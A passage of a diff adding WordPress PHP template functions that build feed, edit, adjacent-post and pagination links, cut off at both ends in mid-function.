+			$feed = get_default_feed();
+
+		if ( false !== strpos($feed, 'comments_') )
+			$feed = str_replace('comments_', 'comments-', $feed);
+
+		$output = trailingslashit(get_option('home')) . "?feed={$feed}";
+	}
+
+	return apply_filters('feed_link', $output, $feed);
+}
+
+/**
+ * Retrieve the permalink for the post comments feed.
+ *
+ * @since 2.2.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @param string $feed Optional. Feed type.
+ * @return string
+ */
+function get_post_comments_feed_link($post_id = '', $feed = '') {
+	global $id;
+
+	if ( empty($post_id) )
+		$post_id = (int) $id;
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	if ( '' != get_option('permalink_structure') ) {
+		$url = trailingslashit( get_permalink($post_id) ) . 'feed';
+		if ( $feed != get_default_feed() )
+			$url .= "/$feed";
+		$url = user_trailingslashit($url, 'single_feed');
+	} else {
+		$type = get_post_field('post_type', $post_id);
+		if ( 'page' == $type )
+			$url = trailingslashit(get_option('home')) . "?feed=$feed&amp;page_id=$post_id";
+		else
+			$url = trailingslashit(get_option('home')) . "?feed=$feed&amp;p=$post_id";
+	}
+
+	return apply_filters('post_comments_feed_link', $url);
+}
+
+/**
+ * Display the comment feed link for a post.
+ *
+ * Prints out the comment feed link for a post. Link text is placed in the
+ * anchor. If no link text is specified, default text is used. If no post ID is
+ * specified, the current post is used.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.5.0
+ *
+ * @param string $link_text Descriptive text.
+ * @param int $post_id Optional post ID.  Default to current post.
+ * @param string $feed Optional. Feed format.
+ * @return string Link to the comment feed for the current post.
+*/
+function post_comments_feed_link( $link_text = '', $post_id = '', $feed = '' ) {
+	$url = get_post_comments_feed_link($post_id, $feed);
+	if ( empty($link_text) )
+		$link_text = __('Comments Feed');
+
+	echo apply_filters( 'post_comments_feed_link_html', "<a href='$url'>$link_text</a>", $post_id, $feed );
+}
+
+/**
+ * Retrieve the feed link for a given author.
+ *
+ * Returns a link to the feed for all posts by a given author. A specific feed
+ * can be requested or left blank to get the default feed.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.5.0
+ *
+ * @param int $author_id ID of an author.
+ * @param string $feed Optional. Feed type.
+ * @return string Link to the feed for the author specified by $author_id.
+*/
+function get_author_feed_link( $author_id, $feed = '' ) {
+	$author_id = (int) $author_id;
+	$permalink_structure = get_option('permalink_structure');
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	if ( '' == $permalink_structure ) {
+		$link = trailingslashit(get_option('home')) . "?feed=$feed&amp;author=" . $author_id;
+	} else {
+		$link = get_author_posts_url($author_id);
+		if ( $feed == get_default_feed() )
+			$feed_link = 'feed';
+		else
+			$feed_link = "feed/$feed";
+
+		$link = trailingslashit($link) . user_trailingslashit($feed_link, 'feed');
+	}
+
+	$link = apply_filters('author_feed_link', $link, $feed);
+
+	return $link;
+}
+
+/**
+ * Retrieve the feed link for a category.
+ *
+ * Returns a link to the feed for all post in a given category. A specific feed
+ * can be requested or left blank to get the default feed.
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 2.5.0
+ *
+ * @param int $cat_id ID of a category.
+ * @param string $feed Optional. Feed type.
+ * @return string Link to the feed for the category specified by $cat_id.
+*/
+function get_category_feed_link($cat_id, $feed = '') {
+	$cat_id = (int) $cat_id;
+
+	$category = get_category($cat_id);
+
+	if ( empty($category) || is_wp_error($category) )
+		return false;
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	$permalink_structure = get_option('permalink_structure');
+
+	if ( '' == $permalink_structure ) {
+		$link = trailingslashit(get_option('home')) . "?feed=$feed&amp;cat=" . $cat_id;
+	} else {
+		$link = get_category_link($cat_id);
+		if( $feed == get_default_feed() )
+			$feed_link = 'feed';
+		else
+			$feed_link = "feed/$feed";
+
+		$link = trailingslashit($link) . user_trailingslashit($feed_link, 'feed');
+	}
+
+	$link = apply_filters('category_feed_link', $link, $feed);
+
+	return $link;
+}
+
+/**
+ * Retrieve permalink for feed of tag.
+ *
+ * @since 2.3.0
+ *
+ * @param int $tag_id Tag ID.
+ * @param string $feed Optional. Feed type.
+ * @return string
+ */
+function get_tag_feed_link($tag_id, $feed = '') {
+	$tag_id = (int) $tag_id;
+
+	$tag = get_tag($tag_id);
+
+	if ( empty($tag) || is_wp_error($tag) )
+		return false;
+
+	$permalink_structure = get_option('permalink_structure');
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	if ( '' == $permalink_structure ) {
+		$link = trailingslashit(get_option('home')) . "?feed=$feed&amp;tag=" . $tag->slug;
+	} else {
+		$link = get_tag_link($tag->term_id);
+		if ( $feed == get_default_feed() )
+			$feed_link = 'feed';
+		else
+			$feed_link = "feed/$feed";
+		$link = trailingslashit($link) . user_trailingslashit($feed_link, 'feed');
+	}
+
+	$link = apply_filters('tag_feed_link', $link, $feed);
+
+	return $link;
+}
+
+/**
+ * Retrieve edit tag link.
+ *
+ * @since 2.7.0
+ *
+ * @param int $tag_id Tag ID
+ * @return string
+ */
+function get_edit_tag_link( $tag_id = 0, $taxonomy = 'post_tag' ) {
+	$tag = get_term($tag_id, $taxonomy);
+
+	if ( !current_user_can('manage_categories') )
+		return;
+
+	$location = admin_url('edit-tags.php?action=edit&amp;taxonomy=' . $taxonomy . '&amp;tag_ID=' . $tag->term_id);
+	return apply_filters( 'get_edit_tag_link', $location );
+}
+
+/**
+ * Display or retrieve edit tag link with formatting.
+ *
+ * @since 2.7.0
+ *
+ * @param string $link Optional. Anchor text.
+ * @param string $before Optional. Display before edit link.
+ * @param string $after Optional. Display after edit link.
+ * @param int|object $tag Tag object or ID
+ * @return string|null HTML content, if $echo is set to false.
+ */
+function edit_tag_link( $link = '', $before = '', $after = '', $tag = null ) {
+	$tag = get_term($tag, 'post_tag');
+
+	if ( !current_user_can('manage_categories') )
+		return;
+
+	if ( empty($link) )
+		$link = __('Edit This');
+
+	$link = '<a href="' . get_edit_tag_link( $tag->term_id ) . '" title="' . __( 'Edit tag' ) . '">' . $link . '</a>';
+	echo $before . apply_filters( 'edit_tag_link', $link, $tag->term_id ) . $after;
+}
+
+/**
+ * Retrieve the permalink for the feed of the search results.
+ *
+ * @since 2.5.0
+ *
+ * @param string $search_query Optional. Search query.
+ * @param string $feed Optional. Feed type.
+ * @return string
+ */
+function get_search_feed_link($search_query = '', $feed = '') {
+	if ( empty($search_query) )
+		$search = esc_attr(get_search_query());
+	else
+		$search = esc_attr(stripslashes($search_query));
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	$link = trailingslashit(get_option('home')) . "?s=$search&amp;feed=$feed";
+
+	$link = apply_filters('search_feed_link', $link);
+
+	return $link;
+}
+
+/**
+ * Retrieve the permalink for the comments feed of the search results.
+ *
+ * @since 2.5.0
+ *
+ * @param string $search_query Optional. Search query.
+ * @param string $feed Optional. Feed type.
+ * @return string
+ */
+function get_search_comments_feed_link($search_query = '', $feed = '') {
+	if ( empty($search_query) )
+		$search = esc_attr(get_search_query());
+	else
+		$search = esc_attr(stripslashes($search_query));
+
+	if ( empty($feed) )
+		$feed = get_default_feed();
+
+	$link = trailingslashit(get_option('home')) . "?s=$search&amp;feed=comments-$feed";
+
+	$link = apply_filters('search_feed_link', $link);
+
+	return $link;
+}
+
+/**
+ * Retrieve edit posts link for post.
+ *
+ * Can be used within the WordPress loop or outside of it. Can be used with
+ * pages, posts, attachments, and revisions.
+ *
+ * @since 2.3.0
+ *
+ * @param int $id Optional. Post ID.
+ * @param string $context Optional, default to display. How to write the '&', defaults to '&amp;'.
+ * @return string
+ */
+function get_edit_post_link( $id = 0, $context = 'display' ) {
+	if ( !$post = &get_post( $id ) )
+		return;
+
+	if ( 'display' == $context )
+		$action = 'action=edit&amp;';
+	else
+		$action = 'action=edit&';
+
+	switch ( $post->post_type ) :
+	case 'page' :
+		if ( !current_user_can( 'edit_page', $post->ID ) )
+			return;
+		$file = 'page';
+		$var  = 'post';
+		break;
+	case 'attachment' :
+		if ( !current_user_can( 'edit_post', $post->ID ) )
+			return;
+		$file = 'media';
+		$var  = 'attachment_id';
+		break;
+	case 'revision' :
+		if ( !current_user_can( 'edit_post', $post->ID ) )
+			return;
+		$file = 'revision';
+		$var  = 'revision';
+		$action = '';
+		break;
+	default :
+		if ( !current_user_can( 'edit_post', $post->ID ) )
+			return;
+		$file = 'post';
+		$var  = 'post';
+		break;
+	endswitch;
+
+	return apply_filters( 'get_edit_post_link', admin_url("$file.php?{$action}$var=$post->ID"), $post->ID, $context );
+}
+
+/**
+ * Display edit post link for post.
+ *
+ * @since 1.0.0
+ *
+ * @param string $link Optional. Anchor text.
+ * @param string $before Optional. Display before edit link.
+ * @param string $after Optional. Display after edit link.
+ * @param int $id Optional. Post ID.
+ */
+function edit_post_link( $link = 'Edit This', $before = '', $after = '', $id = 0 ) {
+	if ( !$post = &get_post( $id ) )
+		return;
+
+	if ( !$url = get_edit_post_link( $post->ID ) )
+		return;
+
+	$link = '<a class="post-edit-link" href="' . $url . '" title="' . esc_attr( __( 'Edit post' ) ) . '">' . $link . '</a>';
+	echo $before . apply_filters( 'edit_post_link', $link, $post->ID ) . $after;
+}
+
+/**
+ * Retrieve edit comment link.
+ *
+ * @since 2.3.0
+ *
+ * @param int $comment_id Optional. Comment ID.
+ * @return string
+ */
+function get_edit_comment_link( $comment_id = 0 ) {
+	$comment = &get_comment( $comment_id );
+	$post = &get_post( $comment->comment_post_ID );
+
+	if ( $post->post_type == 'page' ) {
+		if ( !current_user_can( 'edit_page', $post->ID ) )
+			return;
+	} else {
+		if ( !current_user_can( 'edit_post', $post->ID ) )
+			return;
+	}
+
+	$location = admin_url('comment.php?action=editcomment&amp;c=') . $comment->comment_ID;
+	return apply_filters( 'get_edit_comment_link', $location );
+}
+
+/**
+ * Display or retrieve edit comment link with formatting.
+ *
+ * @since 1.0.0
+ *
+ * @param string $link Optional. Anchor text.
+ * @param string $before Optional. Display before edit link.
+ * @param string $after Optional. Display after edit link.
+ * @return string|null HTML content, if $echo is set to false.
+ */
+function edit_comment_link( $link = 'Edit This', $before = '', $after = '' ) {
+	global $comment, $post;
+
+	if ( $post->post_type == 'attachment' ) {
+	} elseif ( $post->post_type == 'page' ) {
+		if ( !current_user_can( 'edit_page', $post->ID ) )
+			return;
+	} else {
+		if ( !current_user_can( 'edit_post', $post->ID ) )
+			return;
+	}
+
+	$link = '<a class="comment-edit-link" href="' . get_edit_comment_link( $comment->comment_ID ) . '" title="' . __( 'Edit comment' ) . '">' . $link . '</a>';
+	echo $before . apply_filters( 'edit_comment_link', $link, $comment->comment_ID ) . $after;
+}
+
+/**
+ * Display edit bookmark (literally a URL external to blog) link.
+ *
+ * @since 2.7.0
+ *
+ * @param int $link Optional. Bookmark ID.
+ * @return string
+ */
+function get_edit_bookmark_link( $link = 0 ) {
+	$link = get_bookmark( $link );
+
+	if ( !current_user_can('manage_links') )
+		return;
+
+	$location = admin_url('link.php?action=edit&amp;link_id=') . $link->link_id;
+	return apply_filters( 'get_edit_bookmark_link', $location, $link->link_id );
+}
+
+/**
+ * Display edit bookmark (literally a URL external to blog) link anchor content.
+ *
+ * @since 2.7.0
+ *
+ * @param string $link Optional. Anchor text.
+ * @param string $before Optional. Display before edit link.
+ * @param string $after Optional. Display after edit link.
+ * @param int $bookmark Optional. Bookmark ID.
+ */
+function edit_bookmark_link( $link = '', $before = '', $after = '', $bookmark = null ) {
+	$bookmark = get_bookmark($bookmark);
+
+	if ( !current_user_can('manage_links') )
+		return;
+
+	if ( empty($link) )
+		$link = __('Edit This');
+
+	$link = '<a href="' . get_edit_bookmark_link( $link ) . '" title="' . __( 'Edit link' ) . '">' . $link . '</a>';
+	echo $before . apply_filters( 'edit_bookmark_link', $link, $bookmark->link_id ) . $after;
+}
+
+// Navigation links
+
+/**
+ * Retrieve previous post link that is adjacent to current post.
+ *
+ * @since 1.5.0
+ *
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ * @return string
+ */
+function get_previous_post($in_same_cat = false, $excluded_categories = '') {
+	return get_adjacent_post($in_same_cat, $excluded_categories);
+}
+
+/**
+ * Retrieve next post link that is adjacent to current post.
+ *
+ * @since 1.5.0
+ *
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ * @return string
+ */
+function get_next_post($in_same_cat = false, $excluded_categories = '') {
+	return get_adjacent_post($in_same_cat, $excluded_categories, false);
+}
+
+/**
+ * Retrieve adjacent post link.
+ *
+ * Can either be next or previous post link.
+ *
+ * @since 2.5.0
+ *
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ * @param bool $previous Optional. Whether to retrieve previous post.
+ * @return string
+ */
+function get_adjacent_post($in_same_cat = false, $excluded_categories = '', $previous = true) {
+	global $post, $wpdb;
+
+	if ( empty($post) || !is_single() || is_attachment() )
+		return null;
+
+	$current_post_date = $post->post_date;
+
+	$join = '';
+	$posts_in_ex_cats_sql = '';
+	if ( $in_same_cat || !empty($excluded_categories) ) {
+		$join = " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id";
+
+		if ( $in_same_cat ) {
+			$cat_array = wp_get_object_terms($post->ID, 'category', 'fields=ids');
+			$join .= " AND tt.taxonomy = 'category' AND tt.term_id IN (" . implode(',', $cat_array) . ")";
+		}
+
+		$posts_in_ex_cats_sql = "AND tt.taxonomy = 'category'";
+		if ( !empty($excluded_categories) ) {
+			$excluded_categories = array_map('intval', explode(' and ', $excluded_categories));
+			if ( !empty($cat_array) ) {
+				$excluded_categories = array_diff($excluded_categories, $cat_array);
+				$posts_in_ex_cats_sql = '';
+			}
+
+			if ( !empty($excluded_categories) ) {
+				$posts_in_ex_cats_sql = " AND tt.taxonomy = 'category' AND tt.term_id NOT IN (" . implode($excluded_categories, ',') . ')';
+			}
+		}
+	}
+
+	$adjacent = $previous ? 'previous' : 'next';
+	$op = $previous ? '<' : '>';
+	$order = $previous ? 'DESC' : 'ASC';
+
+	$join  = apply_filters( "get_{$adjacent}_post_join", $join, $in_same_cat, $excluded_categories );
+	$where = apply_filters( "get_{$adjacent}_post_where", $wpdb->prepare("WHERE p.post_date $op %s AND p.post_type = 'post' AND p.post_status = 'publish' $posts_in_ex_cats_sql", $current_post_date), $in_same_cat, $excluded_categories );
+	$sort  = apply_filters( "get_{$adjacent}_post_sort", "ORDER BY p.post_date $order LIMIT 1" );
+
+	$query = "SELECT p.* FROM $wpdb->posts AS p $join $where $sort";
+	$query_key = 'adjacent_post_' . md5($query);
+	$result = wp_cache_get($query_key, 'counts');
+	if ( false !== $result )
+		return $result;
+
+	$result = $wpdb->get_row("SELECT p.* FROM $wpdb->posts AS p $join $where $sort");
+	if ( null === $result )
+		$result = '';
+
+	wp_cache_set($query_key, $result, 'counts');
+	return $result;
+}
+
+/**
+ * Get adjacent post relational link.
+ *
+ * Can either be next or previous post relational link.
+ *
+ * @since 2.8.0
+ *
+ * @param string $title Optional. Link title format.
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ * @param bool $previous Optional, default is true. Whether display link to previous post.
+ * @return string
+ */
+function get_adjacent_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '', $previous = true) {
+	if ( $previous && is_attachment() )
+		$post = & get_post($GLOBALS['post']->post_parent);
+	else
+		$post = get_adjacent_post($in_same_cat,$excluded_categories,$previous);
+
+	if ( empty($post) )
+		return;
+
+	if ( empty($post->post_title) )
+		$post->post_title = $previous ? __('Previous Post') : __('Next Post');
+
+	$date = mysql2date(get_option('date_format'), $post->post_date);
+
+	$title = str_replace('%title', $post->post_title, $title);
+	$title = str_replace('%date', $date, $title);
+	$title = apply_filters('the_title', $title, $post);
+
+	$link = $previous ? "<link rel='prev' title='" : "<link rel='next' title='";
+	$link .= esc_attr( $title );
+	$link .= "' href='" . get_permalink($post) . "' />\n";
+
+	$adjacent = $previous ? 'previous' : 'next';
+	return apply_filters( "{$adjacent}_post_rel_link", $link );
+}
+
+/**
+ * Display relational links for the posts adjacent to the current post.
+ *
+ * @since 2.8.0
+ *
+ * @param string $title Optional. Link title format.
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ */
+function adjacent_posts_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '') {
+	echo get_adjacent_post_rel_link($title, $in_same_cat, $excluded_categories = '', true);
+	echo get_adjacent_post_rel_link($title, $in_same_cat, $excluded_categories = '', false);
+}
+
+/**
+ * Display relational link for the next post adjacent to the current post.
+ *
+ * @since 2.8.0
+ *
+ * @param string $title Optional. Link title format.
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ */
+function next_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '') {
+	echo get_adjacent_post_rel_link($title, $in_same_cat, $excluded_categories = '', false);
+}
+
+/**
+ * Display relational link for the previous post adjacent to the current post.
+ *
+ * @since 2.8.0
+ *
+ * @param string $title Optional. Link title format.
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ */
+function prev_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '') {
+	echo get_adjacent_post_rel_link($title, $in_same_cat, $excluded_categories = '', true);
+}
+
+/**
+ * Retrieve boundary post.
+ *
+ * Boundary being either the first or last post by publish date within the contraitns specified
+ * by in same category or excluded categories.
+ *
+ * @since 2.8.0
+ *
+ * @param bool $in_same_cat Optional. Whether returned post should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ * @param bool $previous Optional. Whether to retrieve first post.
+ * @return object
+ */
+function get_boundary_post($in_same_cat = false, $excluded_categories = '', $start = true) {
+	global $post, $wpdb;
+
+	if ( empty($post) || !is_single() || is_attachment() )
+		return null;
+
+	$cat_array = array();
+	$excluded_categories = array();
+	if ( !empty($in_same_cat) || !empty($excluded_categories) ) {
+		if ( !empty($in_same_cat) ) {
+			$cat_array = wp_get_object_terms($post->ID, 'category', 'fields=ids');
+		}
+
+		if ( !empty($excluded_categories) ) {
+			$excluded_categories = array_map('intval', explode(',', $excluded_categories));
+
+			if ( !empty($cat_array) )
+				$excluded_categories = array_diff($excluded_categories, $cat_array);
+
+			$inverse_cats = array();
+			foreach ( $excluded_categories as $excluded_category)
+				$inverse_cats[] = $excluded_category * -1;
+			$excluded_categories = $inverse_cats;
+		}
+	}
+
+	$categories = implode(',', array_merge($cat_array, $excluded_categories) );
+
+	$order = $start ? 'ASC' : 'DESC';
+
+	return get_posts( array('numberposts' => 1, 'order' => $order, 'orderby' => 'ID', 'category' => $categories) );
+}
+
+/**
+ * Get boundary post relational link.
+ *
+ * Can either be start or end post relational link.
+ *
+ * @since 2.8.0
+ *
+ * @param string $title Optional. Link title format.
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ * @param bool $start Optional, default is true. Whether display link to first post.
+ * @return string
+ */
+function get_boundary_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '', $start = true) {
+	$posts = get_boundary_post($in_same_cat,$excluded_categories,$start);
+	// Even though we limited get_posts to return only 1 item it still returns an array of objects.
+	$post = $posts[0];
+
+	if ( empty($post) )
+			 return;
+
+		if ( empty($post->post_title) )
+				$post->post_title = $start ? __('First Post') : __('Last Post');
+
+	$date = mysql2date(get_option('date_format'), $post->post_date);
+
+	$title = str_replace('%title', $post->post_title, $title);
+	$title = str_replace('%date', $date, $title);
+	$title = apply_filters('the_title', $title, $post);
+
+	$link = $start ? "<link rel='start' title='" : "<link rel='end' title='";
+	$link .= esc_attr($title);
+	$link .= "' href='" . get_permalink($post) . "' />\n";
+
+	$boundary = $start ? 'start' : 'end';
+	return apply_filters( "{$boundary}_post_rel_link", $link );
+}
+
+/**
+ * Display relational link for the first post.
+ *
+ * @since 2.8.0
+ *
+ * @param string $title Optional. Link title format.
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ */
+function start_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '') {
+	echo get_boundary_post_rel_link($title, $in_same_cat, $excluded_categories, true);
+}
+
+/**
+ * Get site index relational link.
+ *
+ * @since 2.8.0
+ *
+ * @return string
+ */
+function get_index_rel_link() {
+	$link = "<link rel='index' title='" . esc_attr(get_bloginfo('name')) . "' href='" . get_bloginfo('siteurl') . "' />\n";
+	return apply_filters( "index_rel_link", $link );
+}
+
+/**
+ * Display relational link for the site index.
+ *
+ * @since 2.8.0
+ */
+function index_rel_link() {
+	echo get_index_rel_link();
+}
+
+/**
+ * Get parent post relational link.
+ *
+ * @since 2.8.0
+ *
+ * @param string $title Optional. Link title format.
+ * @return string
+ */
+function get_parent_post_rel_link($title = '%title') {
+	if ( ! empty( $GLOBALS['post'] ) && ! empty( $GLOBALS['post']->post_parent ) )
+		$post = & get_post($GLOBALS['post']->post_parent);
+
+	if ( empty($post) )
+		return;
+
+	$date = mysql2date(get_option('date_format'), $post->post_date);
+
+	$title = str_replace('%title', $post->post_title, $title);
+	$title = str_replace('%date', $date, $title);
+	$title = apply_filters('the_title', $title, $post);
+
+	$link = "<link rel='up' title='";
+	$link .= esc_attr( $title );
+	$link .= "' href='" . get_permalink($post) . "' />\n";
+
+	return apply_filters( "parent_post_rel_link", $link );
+}
+
+/**
+ * Display relational link for parent item
+ *
+ * @since 2.8.0
+ */
+function parent_post_rel_link($title = '%title') {
+	echo get_parent_post_rel_link($title);
+}
+
+/**
+ * Display previous post link that is adjacent to the current post.
+ *
+ * @since 1.5.0
+ *
+ * @param string $format Optional. Link anchor format.
+ * @param string $link Optional. Link permalink format.
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ */
+function previous_post_link($format='&laquo; %link', $link='%title', $in_same_cat = false, $excluded_categories = '') {
+	adjacent_post_link($format, $link, $in_same_cat, $excluded_categories, true);
+}
+
+/**
+ * Display next post link that is adjacent to the current post.
+ *
+ * @since 1.5.0
+ *
+ * @param string $format Optional. Link anchor format.
+ * @param string $link Optional. Link permalink format.
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ */
+function next_post_link($format='%link &raquo;', $link='%title', $in_same_cat = false, $excluded_categories = '') {
+	adjacent_post_link($format, $link, $in_same_cat, $excluded_categories, false);
+}
+
+/**
+ * Display adjacent post link.
+ *
+ * Can be either next post link or previous.
+ *
+ * @since 2.5.0
+ *
+ * @param string $format Link anchor format.
+ * @param string $link Link permalink format.
+ * @param bool $in_same_cat Optional. Whether link should be in same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ * @param bool $previous Optional, default is true. Whether display link to previous post.
+ */
+function adjacent_post_link($format, $link, $in_same_cat = false, $excluded_categories = '', $previous = true) {
+	if ( $previous && is_attachment() )
+		$post = & get_post($GLOBALS['post']->post_parent);
+	else
+		$post = get_adjacent_post($in_same_cat, $excluded_categories, $previous);
+
+	if ( !$post )
+		return;
+
+	$title = $post->post_title;
+
+	if ( empty($post->post_title) )
+		$title = $previous ? __('Previous Post') : __('Next Post');
+
+	$title = apply_filters('the_title', $title, $post);
+	$date = mysql2date(get_option('date_format'), $post->post_date);
+
+	$string = '<a href="'.get_permalink($post).'">';
+	$link = str_replace('%title', $title, $link);
+	$link = str_replace('%date', $date, $link);
+	$link = $string . $link . '</a>';
+
+	$format = str_replace('%link', $link, $format);
+
+	$adjacent = $previous ? 'previous' : 'next';
+	echo apply_filters( "{$adjacent}_post_link", $format, $link );
+}
+
+/**
+ * Retrieve get links for page numbers.
+ *
+ * @since 1.5.0
+ *
+ * @param int $pagenum Optional. Page ID.
+ * @return string
+ */
+function get_pagenum_link($pagenum = 1) {
+	global $wp_rewrite;
+
+	$pagenum = (int) $pagenum;
+
+	$request = remove_query_arg( 'paged' );
+
+	$home_root = parse_url(get_option('home'));
+	$home_root = ( isset($home_root['path']) ) ? $home_root['path'] : '';
+	$home_root = preg_quote( trailingslashit( $home_root ), '|' );
+
+	$request = preg_replace('|^'. $home_root . '|', '', $request);
+	$request = preg_replace('|^/+|', '', $request);
+
+	if ( !$wp_rewrite->using_permalinks() || is_admin() ) {
+		$base = trailingslashit( get_bloginfo( 'home' ) );
+
+		if ( $pagenum > 1 ) {
+			$result = add_query_arg( 'paged', $pagenum, $base . $request );
+		} else {
+			$result = $base . $request;
+		}
+	} else {
+		$qs_regex = '|\?.*?$|';
+		preg_match( $qs_regex, $request, $qs_match );
+
+		if ( !empty( $qs_match[0] ) ) {
+			$query_string = $qs_match[0];
+			$request = preg_replace( $qs_regex, '', $request );
+		} else {
+			$query_string = '';
+		}
+
+		$request = preg_replace( '|page/\d+/?$|', '', $request);
+		$request = preg_replace( '|^index\.php|', '', $request);
+		$request = ltrim($request, '/');
+
+		$base = trailingslashit( get_bloginfo( 'url' ) );
+
+		if ( $wp_rewrite->using_index_permalinks() && ( $pagenum > 1 || '' != $request ) )
+			$base .= 'index.php/';
+
+		if ( $pagenum > 1 ) {
+			$request = ( ( !empty( $request ) ) ? trailingslashit( $request ) : $request ) . user_trailingslashit( 'page/' . $pagenum, 'paged' );
+		}
+
+		$result = $base . $request . $query_string;
+	}
+
+	$result = apply_filters('get_pagenum_link', $result);
+
+	return $result;
+}
+
+/**
+ * Retrieve next posts pages link.
+ *
+ * Backported from 2.1.3 to 2.0.10.
+ *
+ * @since 2.0.10
+ *
+ * @param int $max_page Optional. Max pages.
+ * @return string
+ */
+function get_next_posts_page_link($max_page = 0) {
+	global $paged;
+
+	if ( !is_single() ) {
+		if ( !$paged )
+			$paged = 1;
+		$nextpage = intval($paged) + 1;
+		if ( !$max_page || $max_page >= $nextpage )
+			return get_pagenum_link($nextpage);
+	}
+}
+
+/**
+ * Display or return the next posts pages link.
+ *
+ * @since 0.71
+ *
+ * @param int $max_page Optional. Max pages.
+ * @param boolean $echo Optional. Echo or return;
+ */
+function next_posts( $max_page = 0, $echo = true ) {
+	$output = esc_url( get_next_posts_page_link( $max_page ) );
+
+	if ( $echo )
+		echo $output;
+	else
+		return $output;
+}
+
+/**
+ * Return the next posts pages link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $label Content for link text.
+ * @param int $max_page Optional. Max pages.
+ * @return string|null
+ */
+function get_next_posts_link( $label = 'Next Page &raquo;', $max_page = 0 ) {
+	global $paged, $wp_query;
+
+	if ( !$max_page ) {
+		$max_page = $wp_query->max_num_pages;
+	}
+
+	if ( !$paged )
+		$paged = 1;
+
+	$nextpage = intval($paged) + 1;
+
+	if ( !is_single() && ( empty($paged) || $nextpage <= $max_page) ) {
+		$attr = apply_filters( 'next_posts_link_attributes', '' );
+		return '<a href="' . next_posts( $max_page, false ) . "\" $attr>". preg_replace('/&([^#])(?![a-z]{1,8};)/', '&#038;$1', $label) .'</a>';
+	}
+}
+
+/**
+ * Display the next posts pages link.
+ *
+ * @since 0.71
+ * @uses get_next_posts_link()
+ *
+ * @param string $label Content for link text.
+ * @param int $max_page Optional. Max pages.
+ */
+function next_posts_link( $label = 'Next Page &raquo;', $max_page = 0 ) {
+	echo get_next_posts_link( $label, $max_page );
+}
+
+/**
+ * Retrieve previous post pages link.
+ *
+ * Will only return string, if not on a single page or post.
+ *
+ * Backported to 2.0.10 from 2.1.3.
+ *
+ * @since 2.0.10
+ *
+ * @return string|null
+ */
+function get_previous_posts_page_link() {
+	global $paged;
+
+	if ( !is_single() ) {
+		$nextpage = intval($paged) - 1;
+		if ( $nextpage < 1 )
+			$nextpage = 1;
+		return get_pagenum_link($nextpage);
+	}
+}
+
+/**
+ * Display or return the previous posts pages link.
+ *
+ * @since 0.71
+ *
+ * @param boolean $echo Optional. Echo or return;
+ */
+function previous_posts( $echo = true ) {
+	$output = esc_url( get_previous_posts_page_link() );
+
+	if ( $echo )
+		echo $output;
+	else
+		return $output;
+}
+
+/**
+ * Return the previous posts pages link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $label Optional. Previous page link text.
+ * @return string|null
+ */
+function get_previous_posts_link( $label = '&laquo; Previous Page' ) {
+	global $paged;
+
+	if ( !is_single() && $paged > 1 ) {
+		$attr = apply_filters( 'previous_posts_link_attributes', '' );
+		return '<a href="' . previous_posts( false ) . "\" $attr>". preg_replace( '/&([^#])(?![a-z]{1,8};)/', '&#038;$1', $label ) .'</a>';
+	}
+}
+
+/**
+ * Display the previous posts page link.
+ *
+ * @since 0.71
+ * @uses get_previous_posts_link()
+ *
+ * @param string $label Optional. Previous page link text.
+ */
+function previous_posts_link( $label = '&laquo; Previous Page' ) {
+	echo get_previous_posts_link( $label );
+}
+
+/**
+ * Return post pages link navigation for previous and next pages.
+ *
+ * @since 2.8
+ *
+ * @param string|array $args Optional args.
+ * @return string The posts link navigation.
+ */
+function get_posts_nav_link( $args = array() ) {
+	global $wp_query;
+
+	$return = '';
+
+	if ( !is_singular() ) {
+		$defaults = array(
+			'sep' => ' &#8212; ',
+			'prelabel' => __('&laquo; Previous Page'),
+			'nxtlabel' => __('Next Page &raquo;'),
+		);
+		$args = wp_parse_args( $args, $defaults );
+
+		$max_num_pages = $wp_query->max_num_pages;
+		$paged = get_query_var('paged');
+
+		//only have sep if there's both prev and next results
+		if ($paged < 2 || $paged >= $max_num_pages) {
+			$args['sep'] = '';
+		}
+
+		if ( $max_num_pages > 1 ) {
